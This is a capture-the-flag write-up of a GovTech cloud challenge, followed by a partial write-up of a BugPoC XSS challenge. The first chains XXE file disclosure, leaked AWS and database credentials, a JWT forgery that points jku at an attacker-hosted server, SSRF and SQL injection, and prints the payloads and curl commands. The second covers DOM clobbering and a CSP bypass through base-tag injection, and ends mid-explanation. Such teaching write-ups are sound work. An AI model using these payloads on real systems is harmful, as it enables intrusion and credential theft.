Last weekend, I participated in STACK the Flags 2020 CTF organized by Government Technology Agency of Singapore (GovTech)’s Cyber Security Group (CSG). In this write-up, I will be discussing one of the cloud challenges with no solves – Share and deploy the containers!.
I was extremely close to solving this particular challenge during the competition, but there were some hiccups along the way and I didn’t manage to solve it within the time limit.
In retrospect, the Share and deploy the containers! cloud challenge is…
Difficult to solve,
Time-consuming to solve,
Confusing if you don’t understand what the various cloud services are and how they are being used,
Messy if you did not keep track of the details while working on the challenge properly (the sheer amount of information is overwhelming),
Using common vulnerabilities and also highlights several bad coding practices
Quite well-created despite having some bugs which hindered my progress greatly,
Relevant to and reflective of real-world cloud penetration testing (it’s tedious and challenging!)
Overall, it was really fun solving this challenge. Kudos to Tan Kee Hock from GovTech’s CSG for creating this amazing challenge!
Share and deploy the containers!
Description:
An agent reportedly working for COViD has been arrested. In his work laptop, we discovered a note from the agent’s laptop. The note contains a warning message from COViD to him!
Can you help to investigate what are the applications the captured agent was developing and what vulnerabilities they are purposefully injecting into the applications?
The note at https://secretchannel.blob.core.windows.net/covid-channel/notes-from-covid.txt has the following content:
Agent 007895421,
COViD wants you to inject vulnerabilities in projects that you are working on. Previously you reported that you are working on two projects the upcoming National Pension Records System (NPRS). Please inject vulnerabilities in the two applications.
Regards,
Handler X
From the note, we now learn that there are two projects in the upcoming National Pension Records System (NPRS) which contains some vulnerabilities.
It’s not immediately clear what the final objective is for this challenge, but let’s just proceed on regardless.
Finding Hidden Azure Blobs
Notice that the URL of the note is in the format http://<storage-account>.blob.core.windows.net/<container>/<blob>, which indicates that the note is stored on Azure Blob storage. If you are unfamiliar with Azure Blob storage, do check out the documentation for Azure Blob storage.
Basically, using Azure Blob storage, one can store blobs (files) in containers (directories) in their storage account (similar to Amazon S3 buckets or Google Cloud Storage buckets). In other words, by examining the Azure Blob URL again, we can deduce that the storage account name is secretchannel, the container name is covid-channel and the blob name is notes-from-covid.txt
Using the Azure Storage REST API, we can fetch additional information about the storage account. I first attempted to list all containers in the storage account by visiting https://secretchannel.blob.core.windows.net/?comp=list, but a ResourceNotFound error is returned, indicating that a public user does not have sufficient privileges to list containers. I then tried to list all blobs in the covid-channel container by visiting https://secretchannel.blob.core.windows.net/covid-channel/?restype=container&comp=list&include=metadata, and the following XML response is returned:
<?xml version="1.0" encoding="utf-8"?><EnumerationResultsContainerName="https://secretchannel.blob.core.windows.net/covid-channel/"><Blobs><Blob><Name>notes-from-covid.txt</Name><Url>https://secretchannel.blob.core.windows.net/covid-channel/notes-from-covid.txt</Url><Properties><Last-Modified>Thu, 19 Nov 2020 10:14:22 GMT</Last-Modified><Etag>0x8D88C73E2D218F9</Etag><Content-Length>285</Content-Length><Content-Type>text/plain</Content-Type><Content-Encoding/><Content-Language/><Content-MD5>oGU6sX8DewYhX0MDzxGyKg==</Content-MD5><Cache-Control/><BlobType>BlockBlob</BlobType><LeaseStatus>unlocked</LeaseStatus></Properties><Metadata/></Blob><Blob><Name>project-data.txt</Name><Url>https://secretchannel.blob.core.windows.net/covid-channel/project-data.txt</Url><Properties><Last-Modified>Wed, 02 Dec 2020 16:53:44 GMT</Last-Modified><Etag>0x8D896E2D456CDFD</Etag><Content-Length>385</Content-Length><Content-Type>text/plain</Content-Type><Content-Encoding/><Content-Language/><Content-MD5>jVr3QLDwS/WlRVCQ0034HQ==</Content-MD5><Cache-Control/><BlobType>BlockBlob</BlobType><LeaseStatus>unlocked</LeaseStatus></Properties><Metadata/></Blob></Blobs><NextMarker/></EnumerationResults>
Nice! It appears that public users are permitted to list blobs in the covid-channel container, allowing us to find a hidden blob (project-data.txt) within.
Note: You can also discover and fetch the hidden blob using AzCopy tool instead:
$ ./azcopy cp'https://secretchannel.blob.core.windows.net/covid-channel/'.--recursive
INFO: Scanning...
INFO: Any empty folders will not be processed, because source and/or destination doesn't have full folder support
Job 8c7b23b9-bfb4-6b97-7e1d-025d3d1d71b8 has started
Log file is located at: /home/cloud/.azcopy/8c7b23b9-bfb4-6b97-7e1d-025d3d1d71b8.log
0.0 %, 0 Done, 0 Failed, 2 Pending, 0 Skipped, 2 Total,
Job 8c7b23b9-bfb4-6b97-7e1d-025d3d1d71b8 summary
Elapsed Time (Minutes): 0.0333
Number of File Transfers: 2
Number of Folder Property Transfers: 0
Total Number of Transfers: 2
Number of Transfers Completed: 2
Number of Transfers Failed: 0
Number of Transfers Skipped: 0
TotalBytesTransferred: 670
Final Job Status: Completed
$ ls -al covid-channel/
total 16
drwxrwxr-x 2 cloud cloud 4096 Dec 8 08:10 .
drwxrwxr-x 10 cloud cloud 4096 Dec 8 08:10 ..
-rw-r--r-- 1 cloud cloud 285 Dec 8 08:10 notes-from-covid.txt
-rw-r--r-- 1 cloud cloud 385 Dec 8 08:10 project-data.txt
Bye Azure, Hello Amazon Web Services!
Viewing the hidden blob at https://secretchannel.blob.core.windows.net/covid-channel/project-data.txt returns the following contents:
National Pension Records System (NPRS)
* Inject the vulnerabilities in the two NPRS sub-systems.
(Employee Pension Contribution Upload Form and National Pension Registry)
Containers are uploaded.
---> To provide update to Handler X
Generated a set of credentials for the handler to check the work.
-- Access Credentials --
AKIAU65ZHERXMQX442VZ
2mA8r/iVXcb75dbYUQCrqd70CLwo6wjbR7zYSE0i
We can easily identify that the access credentials provided is a pair of AWS access credentials since AWS access key IDs start with either AKIA (for long-term credentials) or ASIA (for tempoaray credentials).
Before we continue on, here’s a quick overview of the attack path so far:
Enumerating NRPS Handler
To enumerate the actions permitted using the access credentials obtained, I used WeirdAAL (AWS Attack Library)
Do follow the setup guide carefully and configure the AWS keypair.
Then, run the recon module of WeirdAAL to let it attempt to enumerate all the AWS services and identify which services the user has permissions to use.
The above output refers to the services and the permitted actions by the user (e.g. describe-instances for ec2 service).
For convenience, I also installed and used AWS CLI version 1 to invoke the permitted actions listed above after importing the credentials.
Note: If you are using AWS CLI v2, note that your results may vary due to breaking changes from AWS CLI v1 to v2.
We can see that it is possible to fetch details about the AWS IAM user nprs-handler in account 341301470318.
Pulling Images from Amazon ECR
Recall that earlier on, we noted the use of containers. If Amazon Elastic Container Registry (ECR) is used, then perhaps we can connect to the ECR and pull the Docker images of the two subsystems!
Using AWS CLI, we can list all repositories in the ECR:
Great! We can list the image repositories in the Amazon ECR. Following the instructions listed on the documentation for Amazon ECR registries, we can login to the Amazon ECR successfully:
$ aws ecr get-login-password --profile nprs-handler --region ap-southeast-1 | docker login --username AWS --password-stdin 341301470318.dkr.ecr.ap-southeast-1.amazonaws.com
WARNING! Your password will be stored unencrypted in /home/cloud/.docker/config.json.
Configure a credential helper to remove this warning. See
https://docs.docker.com/engine/reference/commandline/login/#credentials-store
Login Succeeded
Now that we have logged in to the Amazon ECR successfully, we can pull the images for both applications from the Amazon ECR and analyse the Docker images later on.
From the Amazon Resource Name (ARN) of the only Load Balancer deployed, we can easily identify that it is an Application Load Balancer (ALB) by referencing the documentation for the Elastic Load Balancing. The ALB is accessible at http://epcuf-cluster-alb-1647361482.ap-southeast-1.elb.amazonaws.com, and visiting it, we can access the web application for Employee Pension Contribution Upload Form:
Clicking on the Sample document link on the contribution upload form returns a 404 Not Found error page, so likely we need to investigate the docker image for this application to understand its functionalities and hopefully discover some vulnerabilities in the web application.
Analysing Docker Image for Contribution Upload Form
To examine the filesystem of the Docker image, we can simply run the Docker image in a container and execute an interactive shell session in the container:
$ sudo docker run -it 341301470318.dkr.ecr.ap-southeast-1.amazonaws.com/employee-pension-contribution-upload-form /bin/bash
root@5e0d24bea735:/app# ls-alR
.:
total 20
drwxr-xr-x 1 root root 4096 Nov 28 19:45 .
drwxr-xr-x 1 root root 4096 Dec 8 18:37 ..
-rw-r--r-- 1 root root 2735 Nov 28 19:41 app.py
drwxr-xr-x 2 root root 4096 Nov 22 23:12 files
drwxr-xr-x 3 root root 4096 Nov 22 23:12 views
./files:
total 12
drwxr-xr-x 2 root root 4096 Nov 22 23:12 .
drwxr-xr-x 1 root root 4096 Nov 28 19:45 ..
-rw-r--r-- 1 root root 580 Nov 22 23:12 sample-data.xml
...
frombottleimportrun,request,post,Bottle,template,static_filefromlxmlimportetreeasetreeimportpathlibimportrequestsimportos# Will deploy to ECS Cluster hosted on EC2
# Todo: Database Integration
# Database and other relevant credentials will be loaded via the environment file
# Tentative location /app/.env
# For now, just dump all evnironment variables to .env file
env_output=""fork,vinos.environ.items():env_output+=k+"="+v+"\n"output_env_file=open(".env","w")output_env_file.write(env_output)output_env_file.close()current_directory=str(pathlib.Path().absolute())parser=etree.XMLParser(no_network=False)app=Bottle()@app.route('/download/<filename:path>')defdownload(filename):returnstatic_file(filename,root=current_directory+'/static/files',download=filename)@app.route('/import',method='POST')defimport_submission():postdata=request.body.read()file_name=request.forms.get("xml-data-file")data=request.files.get("xml-data-file")raw=data.file.read()# TODO: validation
root=etree.fromstring(raw,parser)# TODO: save to database
total=0forcontributioninroot[0][2]:total+=int(contribution.text)employee={'first_name':root[0][0].text,'last_name':root[0][1].text,'total_contribution':total}returntemplate('submission',employee)# TODO: Webhook for successful import
# Webhook will be used by third party applications.
# Endpoint is not fixed yet, still in staging.
# The other project's development is experiencing delay.
# National Pension Registry is another internal network.
# The machine running this application will have to get the IP whitelisted
# Do check with the NPR dev team on the ip whitelisting
@app.route('/authenticate',method='POST')defregister():endpoint=request.forms.get('endpoint')# Endpoint Validation
username=request.forms.get('username')password=request.forms.get('password')data={'username':username,'password':password}res=requests.post(endpoint,data=data)returnres.text@app.route('/report',method='POST')defsubmit():endpoint=request.forms.get('endpoint')# Endpoint Validation
token=request.forms.get('token')usage=request.forms.get('usage')contributor_id=request.forms.get('contributor_id')constructed_endpoint=endpoint+"?usage="+usage+"&contributor_id="+contributor_idres=requests.get(constructed_endpoint,headers={'Authorization':'Bearer '+token})returnres.text@app.route('/',method='GET')defindex():returntemplate('index')run(app,host='0.0.0.0',port=80,debug=True)
Clearly, the code is very badly written – it’s an amalgamation of numerous bad coding practices found too often :(
Several observations can be made here:
The application dumps all environment variables containing “database and other relevant credentials” to /app/.env
The XML parser (lxml) used is explicitly allowing network access for related files
The other subsystem, National Pension Registry, is another internal network
There is some IP whitelisting checks performed by the National Pension Registry application
At this point, we can attempt to guess the IP address or hostname of the National Pension Registry subsystem and use the SSRF vulnerabilities to access the other application. Unfortunately, there is a coding flaw in the application, which causes the application to crash too easily and making it difficult to execute this strategy successfully.
Exploiting XXE to Disclose /app/.env & Obtain AWS IAM Keys
Looking at the possible vulnerabilities to be exploited, we see that we are able to use XXE to read /app/.env to obtain environment variables which may contain “database and other relevant credentials”.
For convenience, we can use the sample document at /app/files/sample-data.xml:
Then, we modify it to include a XXE payload in firstname field as such:
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///app/.env">]>
<employees><employee><firstname>&xxe;</firstname><lastname>Doe</lastname><contributions><january>215</january><february>215</february><march>215</march><april>215</april><may>215</may><june>215</june><july>215</july><august>215</august><september>215</september><october>215</october><november>215</november></contributions></employee></employees>
After that, we upload it using the Employee Pension Contribution Upload Form, and the file contents of /app/.env will be returned after Full Name: in the response:
And we discover the long-term credentials for nprs-cross-handler!
We have now completed half the challenge , so let’s pause for a minute and take a quick look at our progress into the challenge thus far before continuing on:
Enumerating NRPS Cross Handler
Let’s reconfigure WeirdAAL and AWS CLI to use the new credentials we just obtained for nprs-cross-handler and re-run the recon module of WeirdAAL and list all permitted actions.
$ aws configure --profile nprs-cross-handler
AWS Access Key ID [None]: AKIAU65ZHERXDDIVSXPO
AWS Secret Access Key [None]: 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
Default region name [None]: ap-southeast-1
Default output format [None]:
$ cat .env
[default]
aws_access_key_id = AKIAU65ZHERXDDIVSXPO
aws_secret_access_key = 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
$ python3 weirdAAL.py -m recon_all -t nprs-cross-handler
Account Id: 341301470318
AKIAU65ZHERXDDIVSXPO : Is NOT a root key
...
$ python3 weirdAAL.py -m list_services_by_key -t nprs-cross-handler
[+] Services enumerated for AKIAU65ZHERXDDIVSXPO [+]
elasticbeanstalk.DescribeApplicationVersions
elasticbeanstalk.DescribeApplications
elasticbeanstalk.DescribeEnvironments
elasticbeanstalk.DescribeEvents
opsworks.DescribeStacks
route53.ListGeoLocations
sts.GetCallerIdentity
Using AWS CLI to invoke the respective accessible actions listed above, nothing interesting was found.
Since the automated enumeration did not work well, it is time to fall back to manual enumeration.
I got stuck here during the competition even though I already knew how to get the flag at this point (I just needed the IP address or hostname of the National Pension Registry sub-system) and did everything below, but obtained different results from what I should be seeing.
Perhaps, I enumerated using the wrong IAM keys. I don’t actually know either.
In hindsight, I guess better note-taking procedures and perhaps removing unused credentials from ~/.aws/credentials could have helped to avoid such an outcome.
Moving on, we enumerate the policies attached to the user nprs-cross-handler to determine what privileges the user has.
There are two primary types of identity-based policies, namely Managed Policies and Inline Policies. Basically, Managed Policies allows policies to be attached to multiple IAM identities (users, groups or roles) or AWS resources whereas Inline Policies are can only be attached to one identity only.
To enumerate Inline Policies, we can use the aws iam list-user-policies command:
$ aws iam list-user-policies --user-name nprs-cross-handler --profile nprs-cross-handler
An error occurred (AccessDenied) when calling the ListUserPolicies operation: User: arn:aws:iam::341301470318:user/nprs-cross-handler is not authorized to perform: iam:ListUserPolicies on resource: user nprs-cross-handler
Nope. Let’s enumerate Managed Policies next using the aws iam list-attached-user-policies command:
Seems like there is a managed policy nprs-cross-handler-policy attached to the nprs-cross-handler user.
Let’s retrieve more information about the managed policy discovered.
Note: It’s also a good idea to enumerate all versions of the policies, but since v1 of nprs-cross-handler-policy is irrelevant for this challenge, I will be omitting it for brevity.
It looks like the attached user policy allows the nprs-cross-handler user to assume the role cross-account-ec2-access!
Let’s request for temporary credentials for the assumed role user using aws sts assume-role command.
Now that we have temporary credentials for the cross-account-ec2-access role user, let’s reconfigure WeirdAAL and AWS CLI yet again to use the temporary credentials for the assumed role and re-run the recon module of WeirdAAL and list all permitted actions.
Notice that the DNS Name for the ALB starts with internal-, which indicates that the npr-cluster-alb is an internally-accessible ALB.
We can also verify it by querying the A records for the DNS name:
$ dig +short internal-npr-cluster-alb-1113089864.ap-southeast-1.elb.amazonaws.com -t A @8.8.8.8
10.1.1.173
10.1.0.170
Which confirms our suspicion. Since the application is only accessible via the internal network, we probably have to leverage the SSRF vulnerability in the Employee Pension Contribution Upload Form application to reach the National Pension Registry application.
We are finally close to getting a flag!
It is also likely that we need to exploit additional vulnerabilities in the National Pension Registry application to obtain the flag.
Here’s a quick recap of our progress before we continue on:
Analysing Docker Image for National Pension Registry
Let’s analyse the Docker image for the National Pension Registry application just like how we did for the Employee Pension Contribution Upload Form application.
$ docker run -it 341301470318.dkr.ecr.ap-southeast-1.amazonaws.com/national-pension-registry /bin/bash
root@59e384a24601:/usr/src/app# ls-al
total 72
drwxr-xr-x 1 root root 4096 Nov 29 03:43 .
drwxr-xr-x 1 root root 4096 Nov 19 01:41 ..
-rw-r--r-- 1 root root 5587 Nov 28 19:41 index.js
drwxr-xr-x 120 root root 4096 Nov 19 01:41 node_modules
-rw-r--r-- 1 root root 41347 Nov 16 17:56 package-lock.json
-rw-r--r-- 1 root root 490 Nov 16 17:56 package.json
drwxr-xr-x 2 root root 4096 Nov 29 03:43 prod-keys
root@59e384a24601:/usr/src/app# ls-al prod-keys
total 16
drwxr-xr-x 2 root root 4096 Nov 29 03:43 .
drwxr-xr-x 1 root root 4096 Nov 29 03:43 ..
-rw-r--r-- 1 root root 1674 Nov 22 23:12 prod-private-key.pem
-rw-r--r-- 1 root root 558 Nov 22 23:12 prod-public-keys.json
The source code for /usr/src/app/index.js is shown below:
const{Sequelize}=require('sequelize');constjwt=require('jsonwebtoken');constjwksClient=require('jwks-rsa');constfs=require('fs');constprivateKey=fs.readFileSync('prod-keys/prod-private-key.pem');constjku_link="http://127.0.0.1:8333/prod-public-keys.json";constsequelize=newSequelize('postgres://npr-rds-read-only:e8CSsKdk1s2pRQ3b@national-pension-registry.cdfsuhqgjz6k.ap-southeast-1.rds.amazonaws.com:5432/national_pension_records');constexpress=require('express');constbodyParser=require('body-parser');constipRangeCheck=require("ip-range-check");consturl=require('url');constapp=express();constwhitelistedIPRanges=["127.0.0.1/32","15.193.2.0/24","15.177.82.0/24","122.248.192.0/18","54.169.0.0/16","54.255.0.0/16","52.95.255.32/28","175.41.128.0/18","13.250.0.0/15","64.252.102.0/24","99.77.143.0/24","52.76.128.0/17","64.252.103.0/24","52.74.0.0/16","54.179.0.0/16","52.220.0.0/15","18.142.0.0/15","46.137.192.0/19","46.137.224.0/19","46.51.216.0/21","52.94.248.32/28","54.254.0.0/16","54.151.128.0/17","18.136.0.0/16","13.212.0.0/15","3.5.146.0/23","64.252.104.0/24","18.140.0.0/15","52.95.242.0/24","99.77.161.0/24","3.5.148.0/22","18.138.0.0/15","52.119.205.0/24","52.76.0.0/17","54.251.0.0/16","64.252.105.0/24","3.0.0.0/15","52.77.0.0/16","13.228.0.0/15"];app.use(bodyParser.urlencoded({extended:true}));constauthenticateJWT=async(req,res,next)=>{constauthHeader=req.headers.authorization;if(authHeader){constauthenticationType=authHeader.split('')[0];consttoken=authHeader.split('')[1];if(authenticationType==="Bearer"){letusage=req.query.usage;letcheck=awaitvalidateUserClaim(usage,token);if(check){next();}else{res.sendStatus(401);}}else{res.sendStatus(401);}}else{res.sendStatus(401);}};functionvalidateUserInputs(payload){// check for special charactersvarformat=/[`!@#$%^&*()+\-=\[\]{}':"\\|,<>\/?~]/;returnformat.test(payload);}asyncfunctiongetCustomReport(contributorId){constresults=awaitsequelize.query('SELECT * from records."contributions" where contributor_id = '+contributorId,{type:sequelize.QueryTypes.SELECT});console.log(results);returnresults[0];}asyncfunctiongetSummaryReport(){constresults=awaitsequelize.query('select sum(contribution_total) from records.contributions',{type:sequelize.QueryTypes.SELECT});returnresults[0];}asyncfunctionvalidateUserClaim(usage,rawToken){letpayload=awaitverifyToken(rawToken);if(payload!=null){// Simple RBAC// Only allow Admin to pull the resultsif(usage=="custom-report"){if(payload.role=="admin"){returntrue;}else{returnfalse;}}if(usage=="user-report"){if(payload.role=="user"){returntrue;}else{returnfalse;}}if(usage=="summary-report"){if(payload.role=="anonymous"){returntrue;}else{returnfalse;}}}returnfalse;}asyncfunctionverifyToken(rawToken){vardecodedToken=jwt.decode(rawToken,{complete:true});constprovided_jku=url.parse(decodedToken.header.jku);if(ipRangeCheck(provided_jku.hostname,whitelistedIPRanges)){constclient=jwksClient({jwksUri:decodedToken.header.jku,timeout:30000,// Defaults to 30s});constkid=decodedToken.header.kid;letpublicKey=awaitclient.getSigningKeyAsync(kid).then(key=>{returnkey.getPublicKey();},err=>{returnnull;});try{letpayload=jwt.verify(rawToken,publicKey);returnpayload;}catch(err){returnnull;}}else{returnnull;}}functiongetAuthenticationToken(username,password){// Wait for dev team to update the user account database// user account database should be live in Jan 2020// Issue only guest user tokens for nowletcustom_headers={"jku":jku_link};vartoken=jwt.sign({user:'guest',role:'anonymous'},privateKey,{algorithm:'RS256',header:custom_headers});returntoken;}app.post('/authenticate',(req,res)=>{// ignore username and password for now// issue only guest jwt token for developmentres.json({"token":getAuthenticationToken(req.body.username,req.body.password)})});app.get('/report',authenticateJWT,async(req,res,next)=>{letmessage={"message":"invalid parameters"}try{fif(req.query.usage=="custom-report"){if(!validateUserInputs(req.query.contributor_id)){res.json({"results":awaitgetCustomReport(req.query.contributor_id)});}else{res.json(message);}}elseif(req.query.usage=="summary-report"){res.json({"results":awaitgetSummaryReport()});}else{res.json(message);}next();}catch(e){next(e);}});app.listen(80,()=>{console.log('National Pension Registry API Server running on port 80!');});
Like the previous application, there are quite a few obvious issues with the code.
Several observations can be made here:
There is SQL injection (SQLi) in getCustomReport() but most special characters are not permitted in the user input
It is necessary to present a valid JSON Web Token (JWT) containing the admin role in the JWT payload is permitted to execute custom report
There is /authenticate POST endpoint which allows obtaining JSON Web Token (JWT) for anonymous role
There is /report GET endpoint authenticating the JWT token which allows executing of the custom report function
The JWT token verification fetches the jku (JWK Set URL) header parameter of the token and verifies the JWT token using the public key obtained from the jku URL.
The jku URL specified is validated against a predefined allow-list, which appears to be mostly private IPv4 address ranges and AWS IP address ranges.
There is also hardcoded credentials for the PostgreSQL Database hosted on Amazon Relational Database Service (Amazon RDS) accessible via internal network
Chaining The Exploits
Hosting Our Webserver on AWS
Since we can control the jku in the JWT header, and the accepted IPv4 ranges include AWS IP address ranges, we can simply host a webserver on an Amazon Elastic Compute Cloud (Amazon EC2) instance serving the required prod-public-keys.json file to pass the validation checks against the predefined allow-list of IPv4 address ranges.
For example, the IPv4 address allocated to the AWS EC2 instance is 3.1.33.7, which resides in the 3.0.0.0/15 subnet permitted.
Signing Our Own JWT Token
Next, we need to sign our own valid JWT token with role set to admin in the JWT payload before we are able to execute a custom report.
We can modify the provided National Pension Registrynode.js application for the purpose of signing our own JWT tokens and also serving the JWT public key:
constjwt=require('jsonwebtoken');constfs=require('fs');constprivateKey=fs.readFileSync('prod-keys/prod-private-key.pem');constpublicKey=fs.readFileSync('prod-keys/prod-public-keys.json');constPORT=8080;constjku_link=`http://3.1.33.7:${PORT}/prod-public-keys.json`;constexpress=require('express');constapp=express();// Sign and return our own JWT token with role set to admin and jku_link pointing to this serverapp.get('/authenticate',(req,res)=>{letcustom_headers={"jku":jku_link};vartoken=jwt.sign({user:'admin',role:'admin'},privateKey,{algorithm:'RS256',header:custom_headers});res.end(token);});// Serve the JWT public key on this endpointapp.get('/prod-public-keys.json',(req,res)=>{res.json(JSON.parse(publicKey));});app.listen(PORT,()=>{console.log(`National Pension Registry API Server running on port ${PORT}!`);});
Afterwards, we install the dependencies for the application and start the server:
$ npm install jsonwebtoken express
$ node server.js
National Pension Registry API Server running on port 8080!
SQL Injection
There is one last hurdle to get past – we also need to perform SQL injection successfully so that we can get the flag.
Let’s start by analysing the regular expression used to validate the user input:
functionvalidateUserInputs(payload){// check for special charactersvarformat=/[`!@#$%^&*()+\-=\[\]{}':"\\|,<>\/?~]/;returnformat.test(payload);}
Seems like we are able to use alphanumeric, whitespace, _, ; and . characters.
At this point, we can kind of guess that the flag must be somewhere in the database, and the flag is likely to be one of the records in the same table queried.
Let’s examine the SQL query too:
asyncfunctiongetCustomReport(contributorId){constresults=awaitsequelize.query('SELECT * from records."contributions" where contributor_id = '+contributorId,{type:sequelize.QueryTypes.SELECT});console.log(results);returnresults[0];}
We can see that the injection point is not in a quoted string. Referencing the permitted characters, we can negate the where condition by doing:
Since null is null is true, this negates the first WHERE condition of contributor_id = 1. Besides that, notice that the function returns the first record returned by the query.
Since there is no ORDER BY keyword used in the query, the results are not sorted before being returned. This allows us to fetch the first record in records.contributions table. If the flag is not the first record of the database, we can then further use LIMIT and OFFSET keywords to select a specific record from the table precisely as such.
For example, to select the first record from the table:
Recall that the Employee Pension Contribution Upload Form application is accessible at http://epcuf-cluster-alb-1647361482.ap-southeast-1.elb.amazonaws.com/ and the National Pension Registry is accessible at http://internal-npr-cluster-alb-1113089864.ap-southeast-1.elb.amazonaws.com/ in the internal network.
Chaining all the exploits together, we use the SSRF on the Employee Pension Contribution Upload Form application to perform SQL injection on the National Pension Registry backend application by running the following curl command on our AWS EC2 instance:
$ curl -X POST 'http://epcuf-cluster-alb-1647361482.ap-southeast-1.elb.amazonaws.com/report'\--data-urlencode'endpoint=http://internal-npr-cluster-alb-1113089864.ap-southeast-1.elb.amazonaws.com/report'\--data-urlencode'usage=custom-report'\--data-urlencode'contributor_id=1 or null is null limit 1 offset 0'\--data-urlencode"token=$(curl -s http://localhost:8080/authenticate)"{"results":{"contributor_id":7531,"contributor_name":"govtech-csg{C0nt41n3r$_w1lL-ch4ng3_tH3_FuTuR3}","contribution_total":9999}}
Finally, we got the flag govtech-csg{C0nt41n3r$_w1lL-ch4ng3_tH3_FuTuR3}!
Complete Attack Path
Wow! You’re still here reading this? Thanks for sitting through this entire lengthly walkthrough!
Here’s an overview of the complete attack path for this challenge in case you are interested:
By now, I think it is pretty evident that performing cloud penetration testing is very arduous and can become messy to the point where it is gets confusing for the tester at some point.
I hope you enjoyed the write-up of this challenge and learnt something new and can better identify and relate to the common cloud and web security issues often found.
Recently, BugPoC announced a XSS challenge sponsored by Amazon on Twitter.
It was really fun solving this challenge! :D
The rules are simple:
Must alert(origin) showing https://wacky.buggywebsite.com
Must bypass Content-Security-Policy (CSP)
Must work in latest version of Google Chrome
Must provide proof-of-concept exploit using BugPoC (duh!)
Although the XSS challenge started a week ago, I did not have time to work on the challenge. I attempted the challenge only 9 hours before it officially ended and came up with a good idea on how to craft the solution in about 15 minutes while reading the source code on phone
This challenge is fairly simple to solve, but it requires careful observation and a good understanding of the various techniques often used when performing XSS.
Introduction
Visiting the challenge site at https://wacky.buggywebsite.com/, we can see a wacky text generator. I started off by taking a quick look at the JavaScript code loaded by the webpage:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
varisChrome=/Chrome/.test(navigator.userAgent)&&/Google Inc/.test(navigator.vendor);if(!isChrome){document.body.innerHTML=`
<h1>Website Only Available in Chrome</h1>
<p style="text-align:center"> Please visit <a href="https://www.google.com/chrome/">https://www.google.com/chrome/</a> to download Google Chrome if you would like to visit this website</p>.
`;}document.getElementById("txt").onkeyup=function(){this.value=this.value.replace(/[&*<>%]/g,'');};document.getElementById('btn').onclick=function(){val=document.getElementById('txt').value;document.getElementById('theIframe').src='/frame.html?param='+val;};
We can see that &*<>% characters are being removed the user input in the <textarea>. On clicking on the Make Whacky! button, the page loads an iframe: /frame.html?param=, which looks interesting.
HTML Injection/Reflected XSS
There is a HTML Injection/Reflected XSS at wacky.buggywebsite.com/frame.html in the <title> tag via param GET parameter.
When visiting https://wacky.buggywebsite.com/frame.html?param=REFLECTED VALUE: </title><a></a><title>, the following HTML is returned in the response body:
The user input supplied via the param GET parameter is being reflected twice in the response – the first is printed as-is (without any sanitization or encoding), and the second being HTML-entities encoded.
This indicates that it is possible to achieve arbitrary HTML injection (i.e. arbitrary HTML elements can be injected onto the webpage) via the param GET parameter using the first reflected param value.
Note: You need to inject </title> to end the title element. Browsers ignore any unescaped HTML elements within <title> and treats any value in <title>...</title> as text only, and will not render any HTML elements found within the title element.
However, Content-Security-Policy (CSP) header in the HTTP response is set to:
Thescript-src CSP directive disallows inline scripts that do not have the nonce value. In other words, injecting reflected XSS payloads such as injecting a <script> tag directly to achieve JavaScript execution will not work as the CSP disallows executing inline scripts without the nonce value, so we need to exploit vulnerabilities in the existing JavaScript code loaded by the webpage in order to execute arbitrary JavaScript code.
Source Code Analysis
Let’s examine the JavaScript code loaded on /frame.html. The relevant code snippet is shown below:
window.fileIntegrity=window.fileIntegrity||{'rfc':' https://w3c.github.io/webappsec-subresource-integrity/','algorithm':'sha256','value':'unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=','creationtime':1602687229}// verify we are in an iframeif(window.name=='iframe'){// securely load the frame analytics codeif(fileIntegrity.value){// create a sandboxed iframeanalyticsFrame=document.createElement('iframe');analyticsFrame.setAttribute('sandbox','allow-scripts allow-same-origin');analyticsFrame.setAttribute('class','invisible');document.body.appendChild(analyticsFrame);// securely add the analytics code into iframescript=document.createElement('script');script.setAttribute('src','files/analytics/js/frame-analytics.js');script.setAttribute('integrity','sha256-'+fileIntegrity.value);script.setAttribute('crossorigin','anonymous');analyticsFrame.contentDocument.body.appendChild(script);}}else{document.body.innerHTML=`
<h1>Error</h1>
<h2>This page can only be viewed from an iframe.</h2>
<video width="400" controls>
<source src="movie.mp4" type="video/mp4">
</video>`}
DOM Clobbering
The line window.fileIntegrity = window.fileIntegrity || { ... } is vulnerable to DOM clobbering.
It can be observed that fileIntegrity.value is subsequently being used as the subresource integrity (SRI) hash value. By injecting an element <input id=fileIntegrity value=hash_here> onto the webpage, it is possible to clobber the fileIntegrity reference with the DOM input node, making it reference the hash value specified in the <input> tag.
Weak Inline Frame Sandbox Restrictions
It can be seen that an iframe is first being created and inserted into the DOM. However, the sandbox policy is configured to allow-scripts allow-same-origin. The allow-scripts option allows JavaScript execution, and the allow-same-origin option allows the iframe context to be treated as from being the same origin as the parent frame, therefore bypassing same-origin policy (SOP) and keeping the origin wacky.buggywebsite.com.
CSP Bypass
The code below the iframe insertion into the DOM attempts to creates a <script> element which loads a JavaScript file using the relative path files/analytics/js/frame-analytics.js. Referencing the CSP header, it can be seen that the base-uri directive is missing. This means that we can inject a <base> element with href attribute set to the attacker’s domain onto the webpage, and when the script attempts to load the relative path files/analytics/js/frame-analytics.js, the file will be loaded from the attacker-controlled domain, therefore achieving arbitrary JavaScript execution!
X-Frame-Options (XFO) Same-origin Bypass
The X-Frame-Options header in the HTTP response is set to sameorigin. This means that we cannot use an external domain to frame wacky.buggywebsite.com/frame.html to satisfy the if (window.name == 'iframe') check.
There are two ways to resolve this issue:
Lure the victim user to an attacker-controlled domain, set window.name and redirecting to the vulnerable page with the XSS payload.
Use HTML injection vulnerability to inject an iframe to embed itself with XSS payload (i.e. frame-ception)
Option (1) is not ideal in most cases since it imposes an additional requirement for a successful XSS attack on a victim user – having to lure the user to an untrusted domain.
As such, I went ahead with option (2). We can use the HTML injection vulnerability to inject an iframe element and set name attribute to iframe on the webpage to embed itself to satisfy the check within the iframe.
However, there is a caveat to using this approach – if the aforesaid check is not satisfied on the parent frame, then the document.body.innerHTML = ... in the else statement will be executed, thereby replacing the DOM. This may cancel the loading of the iframe and hence ‘preventing’ the XSS attack from succeeding on some systems, making it an unreliable XSS attack.
To address this caveat, we can inject the start of a HTML comment <!-- without closing it with --> in the parent frame after the injected HTML elements to cause the browser to treat the rest of the webpage response as a HTML comment, hence ignoring all inline JavaScript code loaded in the remaining of the webpage.
Simulating the Attack
